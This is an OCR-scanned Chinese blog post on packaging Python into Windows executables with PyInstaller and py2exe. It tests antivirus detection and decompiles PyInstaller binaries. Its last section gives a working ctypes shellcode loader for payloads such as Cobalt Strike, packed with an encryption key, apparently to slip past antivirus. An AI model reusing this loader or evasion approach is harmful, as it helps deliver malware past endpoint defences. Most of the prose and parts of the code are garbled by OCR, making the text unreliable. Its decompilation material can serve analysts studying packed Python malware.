pyinstaller$] £ exefe 7% H3¥ ) B b
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SRER: SR fbypass WA XERE: Z4e 5% 4 pyinstaller ¥ [ H %

T 2022-01-27 164505 B X KT

BRALEBR: ASCAHEEEAISCE, BAE CC4.0 BY-SA BN, #3835 _FE A SR A E .,
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V. AKX pythonNpython3, FIBKIENNpyinstallero
AW A EEEK, XPRAFEITRE SRR, B KXHERE.

FERRT W EST, REBRTHTFEE CHTFM— L5, EXERRUAFRERpythoniGF N, R
—ig% > Fpythonf A AR,

python3fEFF B Nexe XM, HAETHERAERES NCLT JLFP:

pyinstaller

py2exe
python3¥T & 9exe

cx_Freeze

Ayt

o fE

in

= . Crowsec

H, pyinstallerZA LLRpy X EHIZEITBA—Pexel], BURMMBL . FINHMITREISCHARIRER.

ARFTRIS, pythondT BB SCHH AR ER LR, T HARE SR Bl iR A, BEEEH2T &< HZE K PyinstallersT
AR BN BHRE, FUEXEN R FpyinstallerfMlpy2exeRIT Bexe XHFMHER. (RXHH
BLEIR DU A IR, AR A S ERREE ST D

02 >C 4437 & il ik
2.1 pyinstaller{T £ 3l i&

2.1.1 i BT B A i
REEE A, B —RERRITE RS (KR E: 2021/05/02) -

# -*- encoding: utf-8 -*-
# Time : 2021/05/02 10:14:44
# Author: crow

import os
import time

while 1:
print('hello crow")
time.sleep(2)



ff Fpyinstalleri# 17T, pyinstallerZE R FEEMHpip3 install pyinstallerfiil PAZ%,
TEMERFEMH pyinstaller -F X% .py B,
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BN : 04

windows defender MSIEHR, MHWIELT, HESHRR TR A EAE 2] = b 20 (S 0 16 «

2021/05/02):

=110 TER EHY SR A

# re_dll.py 1 KB
A test 050201 - BlA.exe 6,533 KB
A test 050201.py 1 KB

B MEERGA

&E Windows Defender 1§28
Microsoft BI3Z{4
'... 1 4 f

2 B BIES  Crigwsec




- IRREA

Windows Defender BiSIFHEELIT X, LIEEEIIRERE.

- Bk

| C:\Users\crow\Desktop\0502\test_050201 - g7 exe

FeFARER

RIXEENARES AL ERUIES: croviseac

Ffavirustotal FIR: (PR AEHE]: 2021/05/02)

https://www.virustotal.com/gui/file/c644369f2a8bca67d3alfa755847a21a35d8339e186393cb4ca36b599c67ffbf/detect

BERE /68, BEFFHEE, FHANXMNNXE-MEBERTERXMFNC.

c644369f2aBbcab7d3alfa755847a21a35d8339e186393chb4calobs599ca7ibf Q s aog L,7_|

(1) 7 security vendors flagged this file as malicious

cédd4369f2aBbeabdTd3alfa?s5847a21a35dB339e186393chbdca3shb99ca 7 fibf 6,38 MB 2021-05-02 02:25:41UTC %

test_050201.exe 2 ths ag EXE
?
4dbits  assembly  direct-cpu-clock-access  invalid-rich-pe-linker-version overlay peexe runtime-modules
x Community s

Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Crowdsourced YARA Rules
Matches rule Pylr by @bartblaze from ruleset Pylnstaller at https:/fgithub.com/bartblaze/Yara-rules

Ly Identifies executable converted using Pylnstaller

Crowdsourced Sigma Rules

lln CRITICALO HIGH2 LOW 0

Ay 2matches for rule Kat T i by Ariel Millahuel from SOC Prime Threat Detection Marketplace

Ly The k8h3d attack campaign combines a Monero eryptominer and a worm module which exploits EternalBiue to gain lateral movement.

SecureAge APEX (D) Malicious Cybereason (D) Malicious.38477f
Cynet C_':' Malicious (score: 100} Jiangmin I:D Trojan.PSW.Python.cj
Malwarebytes \l) Malware.Al.4280521503 Microsoft 7 Trofsh M

- L

Zillya :I) Trojan.Agent.Script.1081328 Acronis (Static ML) -___f, Undetected

2.1.2 R AE B R AR



THZXAMEAFZR AT DL LSRN K, BOSRRMBINA, WRRMBRX DLLICH &SRB BEAT HIWT,
RIERDLLE R M S REUH R, F#E— N ERERE TR,

# -*- encoding: utf-8 -*-

import re

path = 'D_Safe_Manage.exe.txt'
new_path = path[:-4] + '_dll.txt'
# print(new_path[:-4])

dlls = []
with open(path, 'r') as f:
for line in f.readlines():
# print(line)
dll name = re.findall(r'C:\\Windows\\SysWOW64(.*?).d11l', line)
# print(dll_name)
if dl11_name != []:
dll names = 'C:\Windows\SysWOW64' + str(dll_name[@]) + '.d1ll'
# print(dll_names)
dlls.append(dll_names)

with open(new_path, 'w') as f:
for dll in dlls:
f.write(dll + '\n")

TR G, 360. k4. Windows Defenderty#k&. (MlikmtE: 2021.04.29)

3 1 TEPEHEIEE - RS

—MNESMERBRITESHIE M. NRRESEIEER, FTLAERE
IRURSIEEE XL RIEARR AN,

FHix 0x800700E1: FoikALINFERIRF, BASUFE S ETERINIRER
14,

____ deal dll.exe
B iR 2021/4/29 9:24
#/v 5.35 MB

BEZ(S)

v REHEMSR



uy 1 MEFHTRNRIE — X

—NEIMERGEIFFEEERZI. MR EIER, TLAERE
RS e S PSRyl N
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. deal_dll.exe
‘W B 2021/4/29 9:24
H)v: 5.35 MB

[Fmoem s s s e e
[ |

BEZ(S)

AN fESEN, EEmE
W] _deal dil.exe

W, S RIEE IR e e
RS R rOWS e

X E360E AR A MR T .

B A &= ¥

FRAVEE AN ABEFR FB AT AEies {AEDnE

HEERL | AN BAMBHIEIRIR oy

CAET : 00:00:01 3fmEl . gENEE AlEmE 24

O M 2 {MEIRIR SRS,

/| Virus.Win32.Parite.H Eilz2dld

#EEE

\\Mac\Home\Desktop\anti_python0429\05020 1\JEfmSE {4 \deal _dIl - BlZ.exe

| Virus.Win32.Parite.H [ilz2deLs3

EiesE
\\Mac\Home\Desktop\anti_python0429\050201\3Efma 3 {5 \deal_dll.exe
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https://www.virustotal.com/gui/file/0@b418052f4ac12c80a7a6a140818d317513a5442fed700b4e67ebee5807919b6/detect

HmEs56/69, EEHEE. . . -

5 6 5& security vendors flagged this file as malicious

0b413052f daci2c80aFabal40818d317513a544 fed700bdes7ebee580791Fbé

DETECTION DETAILS BEHAVIOR COMMUNITY

Crowdsourced YARA Rules

Matches rule

BitDefenderTheta !

Cybereason M.

Cynet 1) M

Elastic 1} M

2.2 py2exe}T 9K

2.2.1 py2exe %3

aze from rulesat Pylnstaller at hitps:Jigithub.comibartblazelYara

rules

Cylance

Cyren

eGambit

Emsisoft

BEMH pip3 install pylexe HIIAHIFBERZpython3 3.6.5 641

2.2.2 py2exe#T £l

KRR T — NGB SCHFRTITRAUR test_py2.py (G TE:

‘ad?2
155 kB 1.7

'“]["ill'!ll 91d98

R 12155 crowsec

2021/06/16 )



ENMHAEHE RE—Fhello world

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 ©9:17:37
# Author: crow

while True:
print('hello world")

RIEBE— XM setup.py

# -*- encoding:utf-8 -*-

from distutils.core import setup
import py2exe

INCLUDES = []

options = {

"py2exe" :
{
"compressed" : 1, # K%
"optimize" : 2,
"bundle_files" : 1, # FIAXHITEB—1 exe X
"includes" : INCLUDES,
"dll_excludes" : ["MSVCR100.d11"]
¥
}
setup(

options=options,

description = "this is a py2exe test",
zipfile=None,

console = [{"script":'test_py2.py'}])

setup 2.py

H#{#Tfpython setup 2.py py2exe

test_py2.py

il

il

crowsae



ker, multiproce

: no commands suppliec ?Oiﬁ %_"I:?. crowsec

\000_python_exe>python setup_2. py

EdistC R TF2EH—Mtrest py2.exeXff.

& » ZAHBELER (C) » 000 python exe » dist »

EFR (ER=)- 8 A

lib 2021/6/16 14:41

libcrypto-1_1.dll 8:0 3,320 KB

libffi-7.dll 8:07 33 KB

libssl-1_1.dll 2020/12/21 18:07 674 KB

telget.dll 2020/12/21 18:07 1,666 KB
B test_py2.exe 7,273 KB

tkaet.dll 7 1,434 KB

HEEZBTE R —Mhello worldii &, X ERABAMBMITESR, B AT

https://www.virustotal.com/gui/file/84c6f02880ec8c959a5bf20e65ca69c1c293b4329c8206cf2f506b394342bfb8

BRE 6/69, FFIEFEEIELE. . .



B84c6f02880ec8c959a5bf20es65cas9c1c293b4329c8206cf2f506b394342bT08 Q,
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@ & security vendors flagged this file as malicious L'_' :

84c6f02880ecBc95%a5bf20065ca69010293b4329c8206cf2f506 3943420108 710 MB 2021-06-2012:23:05 UTC %
test_py2exe Size 4 months ago EXE

?

&Gdbits  assembly  direct-cpu-clock-access  invalid-rich-pe-linker-version  owerlay peexe  runtime-modules
w Community s

Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Crowdsourced Sigma Rules
[l CRITICALO ~ HIGH 289 LOW 50
Ay 2 matches for rule Disable of ETW Trace by @neuSron, Florian Roth, Jonhnathan R... from Sigma Integrated Rule Set (GitHub)

Ly Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.

287 matches for rule Suspicious Eventlog Clear or Configuration Using Wevtutil by Ecco, Daniil Yugoslavskiy, oscd.comm... from Sigma
> |ntegrated Rule Set (GitHub)
Detects clearing or configuration of eventiogs uwing wevtulil, powershell and wmic. Might be used by ransomwares during the atfack
Ly (seen by NotPetya and others)

1 match for rule Root Certificate Installed by osed.community, @redcanary, Zach 5t... from Sigma Integrated Rule Set (GitHub)
Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web
SErvers. - ;
i S .
2 matches for rule Autorun Keys Modification by Victor Sergeev, Daniil Yugoslavskiy, Gl... from Sigma Integrated Rule Set (GitHulb) T
Ly Detects modification of autostart extensibility point (ASEP) in registry.
L3y I1S FLIE WII TOGKS TOr WINGOWS INSINEr SErvice [MSIeXec. exe) When It INes 1o INSIal Mal PACKages With & ¥ 1 EM priviege
v Seeall
SecureAge APEX Q/ Malicious CrowdStrike Falcon Q:l Winimalicious_confidence_60% (W)
Cynet (1) Malicious (score: 100) FireEye (1) Genericmg.2f1fac39943e41tf
Jiangmin @ Trojan.PSW.Python.cu MaxSecure (1) Trojan.Malware.300983.susgen
Acronis (Static ML) () Undetected Ad-Aware (+) Undetected
AegisLab (¥) Undetected AhnLab-V3 | (e Uk = ey
Alibaba () Undetected AlYac (+) Undetected

HIEAT R, pylexeilBexe XHREBELEHIRIE, pythonfTBRRAENRFTEREKT .

23 TRXHFESE

fEpy2exefTBZ FEHIXH, FAR—NHgdexeX, AaeffpyinstallerfiHE, BEE—1exex®HE, X
BRIt HRT, BESIAFE=ZFRXHA T LHIT. pyinstaller LR IFHRIEEH %, BrblE
W ot 7 %4 A pyinstalleri# 17T & .

MNE-THELEN, LR Epyinstallerif £py2exe, EITA NexelIif &, HERE /D H — R KR
id, HEXMIFANKpython RILHAIE, BT RRAIH ALK BB KR T HpyinstalleriT
%4 MpyinstallerdT & i T4 o fef ¥ )

KA RFPFIN B LA MREFEHITTR, BN EE SRR shellcode NBTTE#AT
r, A AR SCRERE I TR 1145 B Bl o

03 Pyinstaller -FZ ¥ < % i%

HE: XEMexe X R FRI /N pyinstral lerITRMTH#HIT R 1E.
3.1 WA

BAERZ: windows 10



pythonhR4A: python3.8.7

16t iR 010 editor
exeR#miETLE: pyinstxtractor.py
pyck4iiE L HE: uncompyle6

3.2 pyinstalleriT 8.2 7 A exe
BHhRE - ERpython3JIA

01 easy.py

# -*- encoding: utf-8 -*-

# Time : 2021/06/17 10:45:45
# Author: crow

import time

while 1:

print('hello world")
time.sleep(1)

R 5 ¥ %12 75 A pyinstaller{T £ A exe X4

pyinstaller -F 01 easy.py

H 28 -r RATHEEFITEAN—Dexe3X, THAAEH AR S

tutils from ’c:\\python\\1lib\\site

"e:\\pythoni\1ib’

o dependent assen

\\py
rthon% 11k

TEERZE, FMEER—Adist KSR, ERXANIMFRERAE —MTREF RexeXfF.



— 1

| 01 _easy.py
dist
build

| 01_easy.spec

__pycache
E (E5=):
.a 01_easy.exe 2021/6/17 10:49
BTk
B 01_easy.exe 2021/6/17 10:49

e o P

2021/6/17 10:46
2021/6/17 10:49
2021/6/17 10:49
2021/6/17 10:49

2021/6/17 10:49 - .

o
11

g
41

O
it

-

PY 3244
X5k
ik
SPEC {4
@FZ%;

L RIEST crowsec

A

6,533 KB

6,533 KB

R 152 crowsec

WP ETIER, BTk RmET .
3.3 k% ¥ _pyc

ErxtpyinstallerfTE 2 e exe k4 LHR: pyinstxtractor

-PY

pyinstaller extractorzm R HpyinstallerrBlEKexe X ApyckEt.

TR

https://sourceforge.net/projects/pyinstallerextractor/

BEERmIFERexeflpyinstxtractor.pyMBIE—/HRXTFEEEBIT

python pyinstxtractor.py 01 _easy.exe



iles within the extracted directory

REBINZGE, SEM—Mxxx.exe extractedMIXMHR.

v ) 01_easy.exe 2021/6/17 10:49
pyinstxtractor.py 2021/6/10 13:57
01_easy.exe_extracted 2021/6/17 11:03

R 141=2: crowsec



=T (= =E ES=c] K
PYZ-00.pyz_extracted 2021/6/17 11:03 prgl s
[# _asyncio.pyd 2021/6/17 11:03 Python Extension ... 64 KB
@ bz2.pyd 2021/6/17 11:03 Python Extension ... 86 KB
[# ctypes.pyd 2021/6/17 11:03 Python Extension ... 125 KB
[# _decimal.pyd 2021/6/17 11:03 Python Extension ... 264 KB
|# _hashlib.pyd 2021/6/17 11:03 Python Extension ... 47 KB
@ Izma.pyd 2021/6/17 11:03 Python Extension ... 161 KB
& _multiprocessing.pyd 2021/6/17 11:03 Python Extension ... 31 KB
E] _overlapped.pyd 2021/6/17 11:03 Python Extension ... 47 KB
[# queue.pyd 2021/6/17 11:03 Python Extension ... 30 KB
[# socket.pyd 2021/6/17 11:03 Python Extension ... 79 KB
[@ sslpyd 2021/6/17 11:03 Python Extension ... 152 KB
] 01_easy 2021/6/17 11:03 M 1KB
| 01_easy.exe.manifest 2021/6/17 11:03 MANIFEST 314 2KB
{48 base_library.zip 2021/6/17 11:03 360/F48 ZIP 314 761 KB
“| libcrypto-1_1.dll 2021/6/17 11:03 MR 3,320 KB
A libffi-7.dll 2021/6/17 11:03 RIFEEFFY R 33 K8
“ libssl-1_1.dll 2021/6/17 11:03 MR R 674 KB
# pyexpat.pyd 2021/6/17 11:03 Python Extension ... 187 KB
| pyi_rth_multiprocessing 2021/6/17 11:03 X% 3KB
| pyiboot01_bootstrap 2021/6/17 11:03 i 4 KB
| pyimodO1_os_path 2021/6/17 11:03 i 2 KB
| pyimod02_archive 2021/6/17 11:03 & 9 KB
j pyimodO3_importers 2021/6/17 11:03 g 13 KB
_| pyi-windows-manifest-filename 01_easy.ex..  2021/6/17 11:03 MANIFEST 314 0 KB
“| python38.dll 2021/6/17 11:03 NIRRT R 4,110 KB
[ PYZ-00.pyz 2021/6/17 11:03 Python Zip Applica... 1,657 KB
[@ select.pyd 2021/6/17 11:03 Python Extension ... 28 KB
| struct 2021/6/17 11:03 it 1KB
E unicodedata.pyd 2021/6/17 11:03 Python Extension * /‘ /%’;[51.%73 r’K Wsac
%] VCRUNTIME140.dll 2021/6/17 11:03 NEERT R 92 KB
3.4 pycH| IR G

pyinstallerfETEKRE, 2KpycXHHIETsANF1ER, FUEMFEECHMLESE, A7
ApythonfmFEHIRA, BEUNZHANEE. (INMFEFHHInagic numbers WUNFETH K timestamp)

P AFE X B AT U s t ruc t XA SRIRBUEL H R B, BHHEmE01_casyXFRE %



PYZ-00.pyz_extracted
[# _asyncio.pyd
[& bz2.pyd
[& _ctypes.pyd
[ decimal.pyd
[& _hashlib.pyd
[# Izma.pyd
[# multiprocessing.pyd
[A _overlapped.pyd
[# queue.pyd
[ socket.pyd
[A ssl.pyd
] 01_easy

8 base _library.zip
| libcrypto-1_1.dIl
=] libffi-7.dIl
“ libssl-1_1.dll
[# pyexpat.pyd
| pyi_rth_multiprocessing
| pyiboot01_bootstrap
| pyimod01_os_path
| pyimod02_archive
| pyimod03_importers
| pyi-windows-manifest-filename 01_easy.ex...
| python38.dIl
“# PYZ-00.pyz
[# select.pyd
| struct
[# unicodeda d
| VCRUNTIME140.

2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03
2021/6/17 11:03

sk

Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...

Python Extension ...

i

MANIFEST 324
360/E4E ZIP 3Xf%
RIFERFYT IR
NFRERFY R
RIFRfErF R

Python Extension ...

M

X

i

X

M

MANIFEST 324
RZFRfErFy R

Python Zip Applica...

Python Extension ...

X

Python Extension ...

NIRRT R

64 KB
86 KB
125 KB
264 KB
47 KB
161 KB
31 KB
47 KB
30KB
79 KB
152 KB
1KB

2 KB

761 KB
3,320 KB
33 KB
674 KB
187 KB
3 KB

4 KB

2 KB

9 KB

13 KB

0 KB
4,110 KB
1,657 KB
28 KB
1KB
1,073 KB
92 KB

— " T g p—
=, Crowsec

Rl X B PN SO B R i ok, @i 163k R TEREER T XM, windows RE T ] BAf#E
Fwinhex, macR& FH LAMER 010 editor

2FR

WX AT UR I, structtbol easy® 78T GXERARMT —MMHBRKERE, AENERETEARE

| 01_easy

struct

HISRE, A TE T DA TR

1EHER

2021/6/17 11:03
2021/6/17 11:03

F
1 KB
1 KB
() UES: crowsec



Run Template

55 0D 0D OA 00 00 00 00 70 79 69 30 10 01 00 0O
E3 00 00 00 00 00 00 00 00 QOO0 OO OO0 00 00 0O 0O
00 08 00 00 00 40 00 00 00 73 38 00 00 00 64 0O
h: 64 01 64 02 64 03 64 04 64 05 64 06 64 07 67 08
h: 5A 00 64 08,64 09 6C 01,54 00 64 08 64 OA 6C 01

N K Edit Run Script Run Template

00 00 00 00 00 0O
00 40 00 00 00 73
S5A 5 01 64 02
Al )1 00 71 O8
00 . 7A 0B 68 65
01 ) 00 00 29 03
69 /4 DA 05 73
00 )6 00 00 00
5C 6D 65 5C

31 / 65 78 65

5F 718 65/ 5C 30 \getegxe\0l easy

. Ll T

08 6F 64 75 .pyqudﬁMEe%:.crowsec

00 )8 03/ 08 01 5

o

oy 0O M
1 W o o

o0 o
]

o W [
QR W& O}

=
5
U.printU.sleep®.
r....r....ud...\
\Mac\Home\Deskto
p\0617 exeé€ta."®

-1

Ww o J¢C¢

. |

Bl b 3 B AT DA X 6 =75 55 i 4 A\ B 0 1_easy‘¢'£ 0
FERXBFET XM, B DETLEE:

01_easy struct Untitled1* x

Edit As: Hex Run Script Run Template

OD 0D 0A 00 )0 00| 70 79

00 00 00 )0 00 00 0O

03 00 00 )0 00 00 73 Gl N e [
01 > 00 5A 01 64 02 8: 1 dell Zee-didi e,
02 64 03 Al )1 00 71 08 6 : .d.;...q.d.S.).
00 00 00 0B 68 65 6 7 6 €&....Nz.hello wo
6C E9| 01 29 03 ( 5D 6 ridé....).U.time
05 72 69 05 73 ¢ U.printU.sleepO®©.
06 00 00 00 00 : 5 B O B e b L e SR
4D 63| 5C GENSC 65| 73 \Mac\Home\Deskto
S A 6|31 78 65 E ; p\0617 exeé€ta.®
67 65 74 5F 5C 30 \get exe\0l easy
70 79 DA| 08 64 75 6C 65|3E 05 00 .pyU.<module>...
) 1 00 00 08 01

S i oty ol o
WMhMinome o o

' %'ﬁ‘-&"[‘é%: crowsec

RS RE RO 1 easy.pyc




01_easy.pyc
L RIES crovisec
?%?UpijCﬁ:‘ZEﬁﬂtHﬁﬁ%"-%)ﬁ%%ﬂﬁ@T, XEAEWHMAE, —MRELZRRFE, %_‘ﬁ%ﬁﬁﬁuncompyle6
HoEL R UL hitps://tool.lu/pyc
FELR R G B R

EREpy U HITRE. SSETAPythonki

RN

I #!/usr/bin/env python

2 # wvisit http://tool.lu/pyc/ for more information
2 import time

4 print( 'hello world')

5 # WARNING: Decompyle incomplete

1

(5
S /-

N [P
[5'—’71 crowsec

AT LR BN MRARIBE, B — oL IHEA BT % EE K.
MiRiRuncompyle6, HEIAI LATEpython3_ L1 Hpipi 77 Rk 17 %% pip3 install uncompyle6



BN Ch\Windows\system3Z2icmd.exe

. crowsec

& 155 crowsec

AT LR ST A B R A B — AN A

uncompyle6 01 _easy.pyc > 01 _easy.py

T2 )E:

import time

while True:
print (' ")
time.sleep (1)



HALTS BIYRAD
04 -F --keyZ ¥ % % %

fEfEfpyinstaller KRR, WTLAMER --keyZHO A M exe AT INE, 7E 48 FIX AN S B i 7
EpycryptofE, WUEEpipH77 N7 %3, ERRAFZRKNMIERS HI—L8, XERAEN LR
PR, EEETRE.

4.1 pythonhi 4 ¥ shellcode
f+4 & shellcode ?

Y EH, shellcode —B A FRIFARMRIFNA B HE, shellcodeleithlINLERL, DHEH LBEH
Ef{shellfiff . shellcodeHEFHANBESHE. NEFFiveiplth/E, BMA—BRikcrudir
flshellcodeMl.#8t5, iLEMA UPITHHHERERTES. CRE: BEBERD

THEKBARENREMBR AR shellcode, Bl Cobalt Strikefffl, AISZHITE.

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow

import ctypes

shellcode
shellcode += b"\x\"

1
©r

shellcode = bytearray(shellcode)

# ®EVirtualAllociR[EIZKE Nctypes.c_uint64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uinté4

# HIEAE

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(@), ctypes.c_int(len(shellcode)), ctypes.c_int(0x300

# JA\shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.Rt1MoveMemory (
ctypes.c_uinte4(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# BIE—ANREMshellcodels 1A B & Huhk FF 4B 34T
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(9),
ctypes.c_int(9),
ctypes.c_uinte4(ptr),
ctypes.c_int(@),
ctypes.c_int(@),
ctypes.pointer(ctypes.c_int(0))
)
# Ffr LHEIE N EREZITE
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

FEIX B E A8 F B R S0 AT I VR i -



pyinstaller -F --key crowl23321 --noconsole py_shellcode.py

Hep-—keyZ JEKIFRFAT LB E Xo

= py_shellcode.exe 2021/6/17 16:33 [ FRiEFF
4.2 -keyZH X i PF
FIRER), B SO BE — BT W B B py o U
UL 'z kX RS FKE=
4 py_shellcode.exe 2021/6/17 16:33 RIS
| pyinstxtractor.py 2021/6/10 13:57 PY 3Zi4
FIES: crowsec

python pyinstxtractor.py py_shellcode.exe



B EEC \Windows\system32\cmd.exe

4 py_shellcode.exe
pyinstxtractor.py

py_shellcode.exe_extracted

N

» imp module

ipfile,
Zipin 31 oA
arch

installer

piler on the | Bigrowsec

2021/6/17 16:33 R FRfERF 6,553 KB
2021/6/10 13:57 PY 3214 13 KB
2021/6/17 16:35 S



HEN > M > Ubl/_exel®E[@ > key » py_shellcode.exe_extracted »

B

PYZ-00.pyz_extracted

FPFwwlhwiddJll0ddoDwDD@@@ e wwwewewwewwww

_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd

_overlapped.pyd
_queue.pyd
_socket.pyd
_sslpyd
base_library.zip
liberypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
py_shellcode

pyexpat.pyd

python38.dll
PYZ-00.pyz
select.pyd
struct

unicodedata.
VCRUNTIME140.

pyimod01_os_path
pyimod02_archive

~

_multiprocessing.pyd

py_shellcode.exe.manifest

pyi_rth_multiprocessing
pyiboot01_bootstrap
pyimod00_crypto_key

pyimod03_importers

pyi-windows-manifest-filename py_shellcod...

£ EES

2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35

ESt]
M

Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...

36048 ZIP 3Z{4%
NIRRT R
NFREFT R
RNFREFT R
et

MANIFEST 3Zf4

Python Extension ...

i

i

i

i

i

i
MANIFEST 3Zf4
TR R

Python Zip Applica...
Python Extension ...

i

Python Extension ...
Python Extension ...

RIFRERY R

o

64 KB
86 KB
125 KB
264 KB
47 KB
161 KB
31 KB
47 KB
30 KB
79 KB
152 KB
761 KB
3,320 KB
33 KB
674 KB
2 KB

2 KB
187 KB
3 KB

4 KB
1KB

2 KB

9 KB

13 KB

0 KB
4,110 KB
1,660 KB
28 KB
1KB

40 KB
1,073 KB
92 KB

1=

S Crowsec

1% LS A (R B 7 VSR IR AN SO AT AR, 4837 AR B SO PR AE A she l lcode key.pyc



shellcode struct shellcode_key.pyc x
Edit As: Hex Run Script Run Template

49 4C 21 24 48 48 2A 00 35 ILE!SH+H*.50!P%@
41 50 34| 5C 50 58] 35 34 2B AP[4\PZX54 (P")7C
43 29 7D 24 45 4341 52 2D C) 7}$SEICAR-STAND
41 52 2D| 41 4E 49 56 49 52 ARD-ANTIVIRUS-TE
53 54 46 49 4C 21|24 48 2B ST-FILE!SH+H*, 50
zaal 5y 40/ 41 50 SA45E 50 5 !|PSQ@AP[4\PZX54 (P
5E 29 43 43 29 7D 24 45 49 ~)7CC) 7} SEICAR-S
54 41 44|41 52 2D 41 4E 54 TANDARD-ANTIVIRU
53 2D 45|53 54 46 49 4C 45 S-TEST-FILE!SH+H
2A 00 4F| 21 50 40 41 50 5B * 50! P%QRAP[4\PZX
35 34 50| 5E 29 00 41 BE FO 54 (P*) 7.2%0psvid
48 31 BA 00 00 00 41 B8 00 HIE® @ A, . ..0h!
40 00 00 41 BA A4| 53 E5 FF @...A°XnSay0H"SS
48 89 48 89 F1 89 DA 41 B8 H%cH3hH%UA , . ..I
89 F9 BA 12 96 E2 FF D5 48 %UA° . -%ayOHfA ..A
74 B6 8B 07 48 C3 85 CO 75 t9f< .H.A.AuxXXXH
05 00 00 00 50 E8 9F FD FF

2jiks 2l 5| 3582F 00/ 00 00 0O . . 0N
00 E9 00 00 00 FF FF FF FF LéQ...éyyyYy) .0.c
74 79 65 73 DA 731 6ER 6o 6E typesU.shellcode

DA 09 62 7974 65 61 72 72 61 79 U.bytﬁz} (.g u
69 6E 74 36 34 DA 06 77 69 6E 64 it 60 9 Al Crowsec

65 /2 65| 6C 33 0€ 56 68 ernel320.Virtual

on 3.8.7 ags/v3. 8. 7:6503f05, Dec 21 2020, 17
e: \\Mac\Home\Desktop\anti python0429\050101\py_shellcode. py
09-28 00:18:56

a0 Q- (t:
(tag

Vixe 1\ xeQ\

H\x18D\x

T\ xdbH1\

6 \xf\xdb

") TCC) T} $ETL(

%\ x00501 P
10A\x00\x00 ._‘-\:Z_Z XUOFA\XC S\ X¢
M{=5: crowsec

1t (12288), ctypes.c

R SO R [ Blp y SCHF B %

key\get_pyc>uncompyle6 shellcode_key.pyc > shell key.py
{55 crowsec




2oy &3 B ger_systen. py 3 B 01_sasy @ B 01_sasy. pr 3 B shellcods. py 3 B pr_shellecde. py 3 B shell_key.pr B8
# uncompyleé version 3.7.4

# Python bytecode 3.8 (

# Decompiled from: Python .8.7 (tags/v3.8.7:6503f05, Dec
i

i

#

w

413)
1 3

2020, 17:598:51) [MSC w.1928 64 bit (AMDG4)]
0101\py_shellcode.py

Embedded file name: “\Ma r\-lomp\_De.;k:.r)p\at‘_ti_p-,':hanﬂ-229‘-.L,5
1995-09-28 00:18:56
272 bytes

=

Compiled at:
Size of source mod 2%*32:
impeort ctypes
shellcode = b'"
shellcode += b''\xfcH\x !
shellcode = bytearray (shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uinté4
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(12288), ctypes.c_int(e64))
buf = (ctypes.c_char * len(shellcode)).from buffer(shellcode)
ctypes.windll.kernel32.xxxx (ctypes.c_uintéd(ptr), buf, ctypes.c_int(len(shellccde)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uintéd(pt=®. c}ypqs.c int(0), ctypes.c_int
. (. I g p

ctypes.windll.kernel32.WaitForSingleObject (ctypes.c_int (handle), ctypes c_int(-1)) WO EIEE e royY '
A ) 7. Ll

8HA\®BbR HA\x8brPH\xOf\xk M1 xec9H]1\xe0\xac<a | \x0

bR H\x8bR\x1

Bhx00N2004\x00 d2eH

AQAPROVHL

# ckay decompiling shellcode_key.pyc

IFZERI, XHFMRMEM--key SRR ELREH A2
—-key IS £t X i) R RARBUE AT T N E .

B _future__pyc

B _compat_pickle.pyc
B _compression.pyc
B _osx_support.pyc

£ 4 ey*ﬂ

. strptlme pyc

B _threading_local.pyc

B argparse.pyc

B astpyc

B asyncio.base events.pyc

B asyncio.base futures.pyc

B asyncio.base_subprocess.pyc
B asyncio.base_tasks.pyc

BB asyncio.constants.pyc

BB asyncio.coroutines.pyc

[ asyncio.events.pyc

B asyncio.exceptions.pyc

B asyncio.format_helpers.pyc
B asyncio.futures.pyc

B asyncio.locks.pyc

B asyncio.log.pyc

B asyncio.proactor_events.pyc
